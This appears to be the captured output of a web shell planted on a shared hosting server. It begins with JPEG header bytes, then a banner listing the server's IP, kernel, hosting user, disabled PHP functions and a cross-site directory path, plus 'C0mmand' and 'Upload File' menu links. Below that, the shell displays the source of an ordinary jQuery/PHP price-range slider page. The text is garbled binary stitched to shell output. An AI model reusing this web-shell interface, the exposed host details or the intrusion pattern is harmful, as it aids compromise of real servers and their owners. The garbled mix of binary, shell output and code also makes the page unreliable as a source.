����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.137.185.16 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/../gemsandpearl.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $minimum_range = 3000; $maximum_range = 5000; ?> <html> <head> <title>Make Price Range Slider using JQuery with PHP Ajax</title> <link rel="stylesheet" href="https://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script> <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <br /> <br /> <br /> <h3 align="center">Make Price Range Slider using JQuery with PHP Ajax</a></h3><br /> <br /> <div class="row"> <div class="col-md-2"> <input type="text" name="minimum_range" id="minimum_range" class="form-control" value="<?php echo $minimum_range; ?>" /> </div> <div class="col-md-8" style="padding-top:12px"> <div id="price_range"></div> </div> <div class="col-md-2"> <input type="text" name="maximum_range" id="maximum_range" class="form-control" value="<?php echo $maximum_range; ?>" /> </div> </div> <br /> <div id="load_product"></div> <br /> </div> </body> </html> <script> $(document).ready(function(){ $( "#price_range" ).slider({ range: true, min: 1000, max: 20000, values: [ <?php echo $minimum_range; ?>, <?php echo $maximum_range; ?> ], slide:function(event, ui){ $("#minimum_range").val(ui.values[0]); $("#maximum_range").val(ui.values[1]); load_product(ui.values[0], ui.values[1]); } }); load_product(<?php echo $minimum_range; ?>, <?php echo $maximum_range; ?>); function load_product(minimum_range, maximum_range) { $.ajax({ url:"fetch.php", method:"POST", data:{minimum_range:minimum_range, maximum_range:maximum_range}, success:function(data) { $('#load_product').fadeIn('slow').html(data); } }); } }); </script>